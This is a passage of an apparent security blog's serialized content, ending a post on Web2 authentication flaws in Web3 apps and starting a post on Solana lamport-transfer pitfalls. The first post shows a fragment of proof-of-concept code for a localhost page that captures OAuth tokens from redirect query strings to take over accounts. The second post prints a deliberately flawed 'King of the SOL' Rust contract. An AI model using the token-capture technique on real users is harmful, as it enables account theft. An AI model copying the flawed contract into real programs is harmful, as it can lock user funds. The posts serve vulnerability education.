title",{"type":23,"tag":314,"props":70212,"children":70213},{"style":338},[70214],{"type":28,"value":341},{"type":23,"tag":314,"props":70216,"children":70217},{"style":1245},[70218],{"type":28,"value":70219},"\"OAuth Redirect\"",{"type":23,"tag":314,"props":70221,"children":70222},{"style":338},[70223],{"type":28,"value":2414},{"type":23,"tag":314,"props":70225,"children":70226},{"class":316,"line":1899},[70227],{"type":23,"tag":314,"props":70228,"children":70229},{"style":338},[70230],{"type":28,"value":70231}," }\n",{"type":23,"tag":314,"props":70233,"children":70234},{"class":316,"line":1944},[70235,70240],{"type":23,"tag":314,"props":70236,"children":70237},{"style":332},[70238],{"type":28,"value":70239}," body",{"type":23,"tag":314,"props":70241,"children":70242},{"style":338},[70243],{"type":28,"value":1449},{"type":23,"tag":314,"props":70245,"children":70246},{"class":316,"line":2008},[70247,70252,70256,70260,70265],{"type":23,"tag":314,"props":70248,"children":70249},{"style":332},[70250],{"type":28,"value":70251}," h1",{"type":23,"tag":314,"props":70253,"children":70254},{"style":338},[70255],{"type":28,"value":1242},{"type":23,"tag":314,"props":70257,"children":70258},{"style":354},[70259],{"type":28,"value":1130},{"type":23,"tag":314,"props":70261,"children":70262},{"style":1245},[70263],{"type":28,"value":70264},"\"Google OAuth Redirect\"",{"type":23,"tag":314,"props":70266,"children":70267},{"style":338},[70268],{"type":28,"value":8845},{"type":23,"tag":314,"props":70270,"children":70271},{"class":316,"line":2043},[70272,70277],{"type":23,"tag":314,"props":70273,"children":70274},{"style":332},[70275],{"type":28,"value":70276}," script",{"type":23,"tag":314,"props":70278,"children":70279},{"style":338},[70280],{"type":28,"value":1449},{"type":23,"tag":314,"props":70282,"children":70283},{"class":316,"line":22803},[70284,70289],{"type":23,"tag":314,"props":70285,"children":70286},{"style":354},[70287],{"type":28,"value":70288}," +",{"type":23,"tag":314,"props":70290,"children":70291},{"style":1245},[70292],{"type":28,"value":70293},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":314,"props":70295,"children":70296},{"class":316,"line":22845},[70297],{"type":23,"tag":314,"props":70298,"children":70299},{"style":338},[70300],{"type":28,"value":70301}," }\n",{"type":23,"tag":314,"props":70303,"children":70304},{"class":316,"line":22878},[70305],{"type":23,"tag":314,"props":70306,"children":70307},{"style":338},[70308],{"type":28,"value":70231},{"type":23,"tag":314,"props":70310,"children":70311},{"class":316,"line":22886},[70312],{"type":23,"tag":314,"props":70313,"children":70314},{"style":338},[70315],{"type":28,"value":70316}," }\n",{"type":23,"tag":314,"props":70318,"children":70319},{"class":316,"line":22894},[70320],{"type":23,"tag":314,"props":70321,"children":70322},{"style":338},[70323],{"type":28,"value":70324}," }\n",{"type":23,"tag":314,"props":70326,"children":70327},{"class":316,"line":22903},[70328],{"type":23,"tag":314,"props":70329,"children":70330},{"style":338},[70331],{"type":28,"value":58136},{"type":23,"tag":314,"props":70333,"children":70334},{"class":316,"line":22979},[70335,70340,70345,70350,70354,70358],{"type":23,"tag":314,"props":70336,"children":70337},{"style":338},[70338],{"type":28,"value":70339}," }.",{"type":23,"tag":314,"props":70341,"children":70342},{"style":332},[70343],{"type":28,"value":70344},"start",{"type":23,"tag":314,"props":70346,"children":70347},{"style":338},[70348],{"type":28,"value":70349},"(wait ",{"type":23,"tag":314,"props":70351,"children":70352},{"style":354},[70353],{"type":28,"value":1102},{"type":23,"tag":314,"props":70355,"children":70356},{"style":321},[70357],{"type":28,"value":11717},{"type":23,"tag":314,"props":70359,"children":70360},{"style":338},[70361],{"type":28,"value":2414},{"type":23,"tag":314,"props":70363,"children":70364},{"class":316,"line":23012},[70365],{"type":23,"tag":314,"props":70366,"children":70367},{"style":338},[70368],{"type":28,"value":2610},{"type":23,"tag":314,"props":70370,"children":70371},{"class":316,"line":23020},[70372],{"type":23,"tag":314,"props":70373,"children":70374},{"style":338},[70375],{"type":28,"value":386},{"type":23,"tag":24,"props":70377,"children":70378},{},[70379],{"type":28,"value":70380},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":70382,"children":70383},{},[70384],{"type":28,"value":70385},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":837,"props":70387,"children":70389},{"id":70388},"mitigation-1",[70390],{"type":28,"value":39584},{"type":23,"tag":24,"props":70392,"children":70393},{},[70394,70396,70401],{"type":28,"value":70395},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":94,"props":70397,"children":70399},{"className":70398},[],[70400],{"type":28,"value":69018},{"type":28,"value":70402}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":61,"props":70404,"children":70405},{"id":28180},[70406],{"type":28,"value":18185},{"type":23,"tag":24,"props":70408,"children":70409},{},[70410],{"type":28,"value":70411},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":70413,"children":70414},{},[70415],{"type":28,"value":70416},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":2096,"props":70418,"children":70419},{},[70420],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":70422},[70423,70430,70435,70438],{"id":68786,"depth":370,"text":68789,"children":70424},[70425,70426,70427,70428,70429],{"id":68797,"depth":380,"text":68800},{"id":68824,"depth":380,"text":68827},{"id":68885,"depth":380,"text":68888},{"id":68942,"depth":380,"text":68945},{"id":69041,"depth":380,"text":69044},{"id":69087,"depth":370,"text":69090,"children":70431},[70432,70433,70434],{"id":69093,"depth":380,"text":69096},{"id":69120,"depth":380,"text":69123},{"id":39581,"depth":380,"text":39584},{"id":69569,"depth":370,"text":69572,"children":70436},[70437],{"id":70388,"depth":380,"text":39584},{"id":28180,"depth":370,"text":18185},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":70443,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70444,"description":70445,"author":39700,"image":70446,"date":70448,"isFeatured":18,"tags":70449,"onBlogPage":18,"body":70450,"_type":2117,"_id":75102,"_source":2119,"_file":75103,"_stem":75104,"_extension":2122},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":70447,"height":12871,"width":12871},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[17],{"type":20,"children":70451,"toc":75091},[70452,70456,70461,70475,70481,70486,70516,70521,70526,71563,71568,71576,71581,71587,71593,71605,71638,71650,71663,71675,72120,72125,72171,72177,72182,72269,72274,72288,72301,72964,72969,72981,72987,72998,73010,73163,73177,73196,73217,73223,73228,73573,73578,73584,73603,73617,74239,74244,74264,74269,74274,74280,74292,74313,74488,74494,74499,74800,74821,74833,74845,74929,74949,74961,74967,74979,74985,74990,75013,75025,75031,75043,75048,75054,75059,75064,75082,75087],{"type":23,"tag":61,"props":70453,"children":70454},{"id":28263},[70455],{"type":28,"value":28266},{"type":23,"tag":24,"props":70457,"children":70458},{},[70459],{"type":28,"value":70460},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":70462,"children":70463},{},[70464,70466,70473],{"type":28,"value":70465},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":31,"props":70467,"children":70470},{"href":70468,"rel":70469},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[35],[70471],{"type":28,"value":70472},"King of the Ether",{"type":28,"value":70474},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":61,"props":70476,"children":70478},{"id":70477},"the-game-king-of-the-sol",[70479],{"type":28,"value":70480},"The Game: King of the SOL",{"type":23,"tag":24,"props":70482,"children":70483},{},[70484],{"type":28,"value":70485},"The game works like this:",{"type":23,"tag":127,"props":70487,"children":70488},{},[70489,70501,70506,70511],{"type":23,"tag":88,"props":70490,"children":70491},{},[70492,70494,70499],{"type":28,"value":70493},"Anyone can become the ",{"type":23,"tag":721,"props":70495,"children":70496},{},[70497],{"type":28,"value":70498},"king",{"type":28,"value":70500}," by bidding at least 2× the previous bid.",{"type":23,"tag":88,"props":70502,"children":70503},{},[70504],{"type":28,"value":70505},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":88,"props":70507,"children":70508},{},[70509],{"type":28,"value":70510},"The remaining 5% goes into a prize pot.",{"type":23,"tag":88,"props":70512,"children":70513},{},[70514],{"type":28,"value":70515},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":70517,"children":70518},{},[70519],{"type":28,"value":70520},"Simple, right?",{"type":23,"tag":24,"props":70522,"children":70523},{},[70524],{"type":28,"value":70525},"This is the core logic:",{"type":23,"tag":304,"props":70527,"children":70529},{"className":2234,"code":70528,"language":2233,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[70530],{"type":23,"tag":94,"props":70531,"children":70532},{"__ignoreMap":7},[70533,70548,70576,70591,70632,70639,70647,70698,70729,70736,70744,70759,70791,70798,70813,70844,70851,70858,70866,70883,70957,70965,71026,71038,71066,71106,71118,71134,71141,71149,71223,71235,71274,71302,71314,71329,71336,71344,71413,71457,71531,71538,71549,71556],{"type":23,"tag":314,"props":70534,"children":70535},{"class":316,"line":317},[70536,70540,70544],{"type":23,"tag":314,"props":70537,"children":70538},{"style":338},[70539],{"type":28,"value":22075},{"type":23,"tag":314,"props":70541,"children":70542},{"style":2674},[70543],{"type":28,"value":22080},{"type":23,"tag":314,"props":70545,"children":70546},{"style":338},[70547],{"type":28,"value":19496},{"type":23,"tag":314,"props":70549,"children":70550},{"class":316,"line":370},[70551,70555,70559,70564,70568,70572],{"type":23,"tag":314,"props":70552,"children":70553},{"style":321},[70554],{"type":28,"value":12938},{"type":23,"tag":314,"props":70556,"children":70557},{"style":321},[70558],{"type":28,"value":20388},{"type":23,"tag":314,"props":70560,"children":70561},{"style":2674},[70562],{"type":28,"value":70563}," ChangeKing",{"type":23,"tag":314,"props":70565,"children":70566},{"style":338},[70567],{"type":28,"value":22160},{"type":23,"tag":314,"props":70569,"children":70570},{"style":2674},[70571],{"type":28,"value":22165},{"type":23,"tag":314,"props":70573,"children":70574},{"style":338},[70575],{"type":28,"value":6536},{"type":23,"tag":314,"props":70577,"children":70578},{"class":316,"line":380},[70579,70583,70587],{"type":23,"tag":314,"props":70580,"children":70581},{"style":338},[70582],{"type":28,"value":22367},{"type":23,"tag":314,"props":70584,"children":70585},{"style":321},[70586],{"type":28,"value":2979},{"type":23,"tag":314,"props":70588,"children":70589},{"style":338},[70590],{"type":28,"value":19496},{"type":23,"tag":314,"props":70592,"children":70593},{"class":316,"line":1091},[70594,70598,70603,70607,70611,70615,70619,70623,70628],{"type":23,"tag":314,"props":70595,"children":70596},{"style":321},[70597],{"type":28,"value":20080},{"type":23,"tag":314,"props":70599,"children":70600},{"style":360},[70601],{"type":28,"value":70602}," throne",{"type":23,"tag":314,"props":70604,"children":70605},{"style":354},[70606],{"type":28,"value":3746},{"type":23,"tag":314,"props":70608,"children":70609},{"style":2674},[70610],{"type":28,"value":22332},{"type":23,"tag":314,"props":70612,"children":70613},{"style":338},[70614],{"type":28,"value":22160},{"type":23,"tag":314,"props":70616,"children":70617},{"style":2674},[70618],{"type":28,"value":22165},{"type":23,"tag":314,"props":70620,"children":70621},{"style":338},[70622],{"type":28,"value":778},{"type":23,"tag":314,"props":70624,"children":70625},{"style":2674},[70626],{"type":28,"value":70627},"Throne",{"type":23,"tag":314,"props":70629,"children":70630},{"style":338},[70631],{"type":28,"value":5393},{"type":23,"tag":314,"props":70633,"children":70634},{"class":316,"line":1141},[70635],{"type":23,"tag":314,"props":70636,"children":70637},{"emptyLinePlaceholder":18},[70638],{"type":28,"value":1088},{"type":23,"tag":314,"props":70640,"children":70641},{"class":316,"line":1173},[70642],{"type":23,"tag":314,"props":70643,"children":70644},{"style":374},[70645],{"type":28,"value":70646}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":314,"props":70648,"children":70649},{"class":316,"line":1208},[70650,70654,70658,70663,70667,70672,70676,70681,70685,70689,70693],{"type":23,"tag":314,"props":70651,"children":70652},{"style":338},[70653],{"type":28,"value":22367},{"type":23,"tag":314,"props":70655,"children":70656},{"style":321},[70657],{"type":28,"value":2979},{"type":23,"tag":314,"props":70659,"children":70660},{"style":338},[70661],{"type":28,"value":70662},", constraint ",{"type":23,"tag":314,"props":70664,"children":70665},{"style":354},[70666],{"type":28,"value":1102},{"type":23,"tag":314,"props":70668,"children":70669},{"style":338},[70670],{"type":28,"value":70671}," old_king",{"type":23,"tag":314,"props":70673,"children":70674},{"style":354},[70675],{"type":28,"value":282},{"type":23,"tag":314,"props":70677,"children":70678},{"style":338},[70679],{"type":28,"value":70680},"key() ",{"type":23,"tag":314,"props":70682,"children":70683},{"style":354},[70684],{"type":28,"value":7828},{"type":23,"tag":314,"props":70686,"children":70687},{"style":338},[70688],{"type":28,"value":70602},{"type":23,"tag":314,"props":70690,"children":70691},{"style":354},[70692],{"type":28,"value":282},{"type":23,"tag":314,"props":70694,"children":70695},{"style":338},[70696],{"type":28,"value":70697},"king)]\n",{"type":23,"tag":314,"props":70699,"children":70700},{"class":316,"line":1216},[70701,70705,70709,70713,70717,70721,70725],{"type":23,"tag":314,"props":70702,"children":70703},{"style":321},[70704],{"type":28,"value":20080},{"type":23,"tag":314,"props":70706,"children":70707},{"style":360},[70708],{"type":28,"value":70671},{"type":23,"tag":314,"props":70710,"children":70711},{"style":354},[70712],{"type":28,"value":3746},{"type":23,"tag":314,"props":70714,"children":70715},{"style":2674},[70716],{"type":28,"value":24644},{"type":23,"tag":314,"props":70718,"children":70719},{"style":338},[70720],{"type":28,"value":22160},{"type":23,"tag":314,"props":70722,"children":70723},{"style":2674},[70724],{"type":28,"value":22165},{"type":23,"tag":314,"props":70726,"children":70727},{"style":338},[70728],{"type":28,"value":5393},{"type":23,"tag":314,"props":70730,"children":70731},{"class":316,"line":1301},[70732],{"type":23,"tag":314,"props":70733,"children":70734},{"emptyLinePlaceholder":18},[70735],{"type":28,"value":1088},{"type":23,"tag":314,"props":70737,"children":70738},{"class":316,"line":1343},[70739],{"type":23,"tag":314,"props":70740,"children":70741},{"style":374},[70742],{"type":28,"value":70743}," /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":314,"props":70745,"children":70746},{"class":316,"line":1351},[70747,70751,70755],{"type":23,"tag":314,"props":70748,"children":70749},{"style":338},[70750],{"type":28,"value":22367},{"type":23,"tag":314,"props":70752,"children":70753},{"style":321},[70754],{"type":28,"value":2979},{"type":23,"tag":314,"props":70756,"children":70757},{"style":338},[70758],{"type":28,"value":19496},{"type":23,"tag":314,"props":70760,"children":70761},{"class":316,"line":1387},[70762,70766,70771,70775,70779,70783,70787],{"type":23,"tag":314,"props":70763,"children":70764},{"style":321},[70765],{"type":28,"value":20080},{"type":23,"tag":314,"props":70767,"children":70768},{"style":360},[70769],{"type":28,"value":70770}," new_king",{"type":23,"tag":314,"props":70772,"children":70773},{"style":354},[70774],{"type":28,"value":3746},{"type":23,"tag":314,"props":70776,"children":70777},{"style":2674},[70778],{"type":28,"value":24644},{"type":23,"tag":314,"props":70780,"children":70781},{"style":338},[70782],{"type":28,"value":22160},{"type":23,"tag":314,"props":70784,"children":70785},{"style":2674},[70786],{"type":28,"value":22165},{"type":23,"tag":314,"props":70788,"children":70789},{"style":338},[70790],{"type":28,"value":5393},{"type":23,"tag":314,"props":70792,"children":70793},{"class":316,"line":1422},[70794],{"type":23,"tag":314,"props":70795,"children":70796},{"emptyLinePlaceholder":18},[70797],{"type":28,"value":1088},{"type":23,"tag":314,"props":70799,"children":70800},{"class":316,"line":1430},[70801,70805,70809],{"type":23,"tag":314,"props":70802,"children":70803},{"style":338},[70804],{"type":28,"value":22367},{"type":23,"tag":314,"props":70806,"children":70807},{"style":321},[70808],{"type":28,"value":2979},{"type":23,"tag":314,"props":70810,"children":70811},{"style":338},[70812],{"type":28,"value":19496},{"type":23,"tag":314,"props":70814,"children":70815},{"class":316,"line":1452},[70816,70820,70824,70828,70832,70836,70840],{"type":23,"tag":314,"props":70817,"children":70818},{"style":321},[70819],{"type":28,"value":20080},{"type":23,"tag":314,"props":70821,"children":70822},{"style":360},[70823],{"type":28,"value":41490},{"type":23,"tag":314,"props":70825,"children":70826},{"style":354},[70827],{"type":28,"value":3746},{"type":23,"tag":314,"props":70829,"children":70830},{"style":2674},[70831],{"type":28,"value":22396},{"type":23,"tag":314,"props":70833,"children":70834},{"style":338},[70835],{"type":28,"value":22160},{"type":23,"tag":314,"props":70837,"children":70838},{"style":2674},[70839],{"type":28,"value":22165},{"type":23,"tag":314,"props":70841,"children":70842},{"style":338},[70843],{"type":28,"value":5393},{"type":23,"tag":314,"props":70845,"children":70846},{"class":316,"line":1497},[70847],{"type":23,"tag":314,"props":70848,"children":70849},{"style":338},[70850],{"type":28,"value":386},{"type":23,"tag":314,"props":70852,"children":70853},{"class":316,"line":1539},[70854],{"type":23,"tag":314,"props":70855,"children":70856},{"emptyLinePlaceholder":18},[70857],{"type":28,"value":1088},{"type":23,"tag":314,"props":70859,"children":70860},{"class":316,"line":1548},[70861],{"type":23,"tag":314,"props":70862,"children":70863},{"style":338},[70864],{"type":28,"value":70865},"#[program]\n",{"type":23,"tag":314,"props":70867,"children":70868},{"class":316,"line":1584},[70869,70873,70878],{"type":23,"tag":314,"props":70870,"children":70871},{"style":321},[70872],{"type":28,"value":12938},{"type":23,"tag":314,"props":70874,"children":70875},{"style":321},[70876],{"type":28,"value":70877}," mod",{"type":23,"tag":314,"props":70879,"children":70880},{"style":338},[70881],{"type":28,"value":70882}," king_of_the_sol {\n",{"type":23,"tag":314,"props":70884,"children":70885},{"class":316,"line":1617},[70886,70890,70894,70899,70903,70907,70911,70915,70919,70924,70928,70933,70937,70941,70945,70949,70953],{"type":23,"tag":314,"props":70887,"children":70888},{"style":321},[70889],{"type":28,"value":20080},{"type":23,"tag":314,"props":70891,"children":70892},{"style":321},[70893],{"type":28,"value":12943},{"type":23,"tag":314,"props":70895,"children":70896},{"style":332},[70897],{"type":28,"value":70898}," change_king",{"type":23,"tag":314,"props":70900,"children":70901},{"style":338},[70902],{"type":28,"value":341},{"type":23,"tag":314,"props":70904,"children":70905},{"style":360},[70906],{"type":28,"value":19518},{"type":23,"tag":314,"props":70908,"children":70909},{"style":354},[70910],{"type":28,"value":3746},{"type":23,"tag":314,"props":70912,"children":70913},{"style":2674},[70914],{"type":28,"value":19527},{"type":23,"tag":314,"props":70916,"children":70917},{"style":338},[70918],{"type":28,"value":5060},{"type":23,"tag":314,"props":70920,"children":70921},{"style":2674},[70922],{"type":28,"value":70923},"ChangeKing",{"type":23,"tag":314,"props":70925,"children":70926},{"style":338},[70927],{"type":28,"value":5886},{"type":23,"tag":314,"props":70929,"children":70930},{"style":360},[70931],{"type":28,"value":70932},"bid_amount",{"type":23,"tag":314,"props":70934,"children":70935},{"style":354},[70936],{"type":28,"value":3746},{"type":23,"tag":314,"props":70938,"children":70939},{"style":2674},[70940],{"type":28,"value":5114},{"type":23,"tag":314,"props":70942,"children":70943},{"style":338},[70944],{"type":28,"value":2343},{"type":23,"tag":314,"props":70946,"children":70947},{"style":354},[70948],{"type":28,"value":1015},{"type":23,"tag":314,"props":70950,"children":70951},{"style":2674},[70952],{"type":28,"value":13009},{"type":23,"tag":314,"props":70954,"children":70955},{"style":338},[70956],{"type":28,"value":19569},{"type":23,"tag":314,"props":70958,"children":70959},{"class":316,"line":1625},[70960],{"type":23,"tag":314,"props":70961,"children":70962},{"style":374},[70963],{"type":28,"value":70964}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":314,"props":70966,"children":70967},{"class":316,"line":1660},[70968,70972,70976,70980,70984,70988,70992,70996,71000,71005,71009,71014,71018,71022],{"type":23,"tag":314,"props":70969,"children":70970},{"style":332},[70971],{"type":28,"value":63700},{"type":23,"tag":314,"props":70973,"children":70974},{"style":338},[70975],{"type":28,"value":341},{"type":23,"tag":314,"props":70977,"children":70978},{"style":360},[70979],{"type":28,"value":70932},{"type":23,"tag":314,"props":70981,"children":70982},{"style":354},[70983],{"type":28,"value":1062},{"type":23,"tag":314,"props":70985,"children":70986},{"style":360},[70987],{"type":28,"value":25089},{"type":23,"tag":314,"props":70989,"children":70990},{"style":354},[70991],{"type":28,"value":282},{"type":23,"tag":314,"props":70993,"children":70994},{"style":338},[70995],{"type":28,"value":238},{"type":23,"tag":314,"props":70997,"children":70998},{"style":354},[70999],{"type":28,"value":282},{"type":23,"tag":314,"props":71001,"children":71002},{"style":338},[71003],{"type":28,"value":71004},"throne",{"type":23,"tag":314,"props":71006,"children":71007},{"style":354},[71008],{"type":28,"value":282},{"type":23,"tag":314,"props":71010,"children":71011},{"style":338},[71012],{"type":28,"value":71013},"last_bid_amount ",{"type":23,"tag":314,"props":71015,"children":71016},{"style":354},[71017],{"type":28,"value":256},{"type":23,"tag":314,"props":71019,"children":71020},{"style":1054},[71021],{"type":28,"value":7189},{"type":23,"tag":314,"props":71023,"children":71024},{"style":338},[71025],{"type":28,"value":1025},{"type":23,"tag":314,"props":71027,"children":71028},{"class":316,"line":1708},[71029,71034],{"type":23,"tag":314,"props":71030,"children":71031},{"style":332},[71032],{"type":28,"value":71033}," transfer_from_signer",{"type":23,"tag":314,"props":71035,"children":71036},{"style":338},[71037],{"type":28,"value":2719},{"type":23,"tag":314,"props":71039,"children":71040},{"class":316,"line":1743},[71041,71045,71049,71053,71057,71061],{"type":23,"tag":314,"props":71042,"children":71043},{"style":354},[71044],{"type":28,"value":6940},{"type":23,"tag":314,"props":71046,"children":71047},{"style":360},[71048],{"type":28,"value":19518},{"type":23,"tag":314,"props":71050,"children":71051},{"style":354},[71052],{"type":28,"value":282},{"type":23,"tag":314,"props":71054,"children":71055},{"style":338},[71056],{"type":28,"value":238},{"type":23,"tag":314,"props":71058,"children":71059},{"style":354},[71060],{"type":28,"value":282},{"type":23,"tag":314,"props":71062,"children":71063},{"style":338},[71064],{"type":28,"value":71065},"payer,\n",{"type":23,"tag":314,"props":71067,"children":71068},{"class":316,"line":1751},[71069,71073,71077,71081,71085,71089,71093,71097,71102],{"type":23,"tag":314,"props":71070,"children":71071},{"style":354},[71072],{"type":28,"value":6940},{"type":23,"tag":314,"props":71074,"children":71075},{"style":360},[71076],{"type":28,"value":19518},{"type":23,"tag":314,"props":71078,"children":71079},{"style":354},[71080],{"type":28,"value":282},{"type":23,"tag":314,"props":71082,"children":71083},{"style":338},[71084],{"type":28,"value":238},{"type":23,"tag":314,"props":71086,"children":71087},{"style":354},[71088],{"type":28,"value":282},{"type":23,"tag":314,"props":71090,"children":71091},{"style":338},[71092],{"type":28,"value":71004},{"type":23,"tag":314,"props":71094,"children":71095},{"style":354},[71096],{"type":28,"value":282},{"type":23,"tag":314,"props":71098,"children":71099},{"style":332},[71100],{"type":28,"value":71101},"to_account_info",{"type":23,"tag":314,"props":71103,"children":71104},{"style":338},[71105],{"type":28,"value":2747},{"type":23,"tag":314,"props":71107,"children":71108},{"class":316,"line":1791},[71109,71114],{"type":23,"tag":314,"props":71110,"children":71111},{"style":360},[71112],{"type":28,"value":71113}," bid_amount",{"type":23,"tag":314,"props":71115,"children":71116},{"style":338},[71117],{"type":28,"value":1870},{"type":23,"tag":314,"props":71119,"children":71120},{"class":316,"line":1805},[71121,71126,71130],{"type":23,"tag":314,"props":71122,"children":71123},{"style":338},[71124],{"type":28,"value":71125}," )",{"type":23,"tag":314,"props":71127,"children":71128},{"style":354},[71129],{"type":28,"value":2409},{"type":23,"tag":314,"props":71131,"children":71132},{"style":338},[71133],{"type":28,"value":2278},{"type":23,"tag":314,"props":71135,"children":71136},{"class":316,"line":1818},[71137],{"type":23,"tag":314,"props":71138,"children":71139},{"emptyLinePlaceholder":18},[71140],{"type":28,"value":1088},{"type":23,"tag":314,"props":71142,"children":71143},{"class":316,"line":1873},[71144],{"type":23,"tag":314,"props":71145,"children":71146},{"style":374},[71147],{"type":28,"value":71148}," // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":314,"props":71150,"children":71151},{"class":316,"line":1891},[71152,71156,71161,71165,71169,71173,71177,71181,71185,71189,71193,71197,71201,71206,71210,71214,71219],{"type":23,"tag":314,"props":71153,"children":71154},{"style":321},[71155],{"type":28,"value":2319},{"type":23,"tag":314,"props":71157,"children":71158},{"style":360},[71159],{"type":28,"value":71160}," to_reimburse",{"type":23,"tag":314,"props":71162,"children":71163},{"style":354},[71164],{"type":28,"value":1237},{"type":23,"tag":314,"props":71166,"children":71167},{"style":338},[71168],{"type":28,"value":2324},{"type":23,"tag":314,"props":71170,"children":71171},{"style":360},[71172],{"type":28,"value":19518},{"type":23,"tag":314,"props":71174,"children":71175},{"style":354},[71176],{"type":28,"value":282},{"type":23,"tag":314,"props":71178,"children":71179},{"style":338},[71180],{"type":28,"value":238},{"type":23,"tag":314,"props":71182,"children":71183},{"style":354},[71184],{"type":28,"value":282},{"type":23,"tag":314,"props":71186,"children":71187},{"style":338},[71188],{"type":28,"value":71004},{"type":23,"tag":314,"props":71190,"children":71191},{"style":354},[71192],{"type":28,"value":282},{"type":23,"tag":314,"props":71194,"children":71195},{"style":338},[71196],{"type":28,"value":71013},{"type":23,"tag":314,"props":71198,"children":71199},{"style":354},[71200],{"type":28,"value":256},{"type":23,"tag":314,"props":71202,"children":71203},{"style":1054},[71204],{"type":28,"value":71205}," 9500",{"type":23,"tag":314,"props":71207,"children":71208},{"style":338},[71209],{"type":28,"value":2343},{"type":23,"tag":314,"props":71211,"children":71212},{"style":354},[71213],{"type":28,"value":3835},{"type":23,"tag":314,"props":71215,"children":71216},{"style":1054},[71217],{"type":28,"value":71218}," 10000",{"type":23,"tag":314,"props":71220,"children":71221},{"style":338},[71222],{"type":28,"value":2278},{"type":23,"tag":314,"props":71224,"children":71225},{"class":316,"line":1899},[71226,71231],{"type":23,"tag":314,"props":71227,"children":71228},{"style":332},[71229],{"type":28,"value":71230}," transfer_from_pda",{"type":23,"tag":314,"props":71232,"children":71233},{"style":338},[71234],{"type":28,"value":2719},{"type":23,"tag":314,"props":71236,"children":71237},{"class":316,"line":1944},[71238,71242,71246,71250,71254,71258,71262,71266,71270],{"type":23,"tag":314,"props":71239,"children":71240},{"style":354},[71241],{"type":28,"value":6940},{"type":23,"tag":314,"props":71243,"children":71244},{"style":360},[71245],{"type":28,"value":19518},{"type":23,"tag":314,"props":71247,"children":71248},{"style":354},[71249],{"type":28,"value":282},{"type":23,"tag":314,"props":71251,"children":71252},{"style":338},[71253],{"type":28,"value":238},{"type":23,"tag":314,"props":71255,"children":71256},{"style":354},[71257],{"type":28,"value":282},{"type":23,"tag":314,"props":71259,"children":71260},{"style":338},[71261],{"type":28,"value":71004},{"type":23,"tag":314,"props":71263,"children":71264},{"style":354},[71265],{"type":28,"value":282},{"type":23,"tag":314,"props":71267,"children":71268},{"style":332},[71269],{"type":28,"value":71101},{"type":23,"tag":314,"props":71271,"children":71272},{"style":338},[71273],{"type":28,"value":2747},{"type":23,"tag":314,"props":71275,"children":71276},{"class":316,"line":2008},[71277,71281,71285,71289,71293,71297],{"type":23,"tag":314,"props":71278,"children":71279},{"style":354},[71280],{"type":28,"value":6940},{"type":23,"tag":314,"props":71282,"children":71283},{"style":360},[71284],{"type":28,"value":19518},{"type":23,"tag":314,"props":71286,"children":71287},{"style":354},[71288],{"type":28,"value":282},{"type":23,"tag":314,"props":71290,"children":71291},{"style":338},[71292],{"type":28,"value":238},{"type":23,"tag":314,"props":71294,"children":71295},{"style":354},[71296],{"type":28,"value":282},{"type":23,"tag":314,"props":7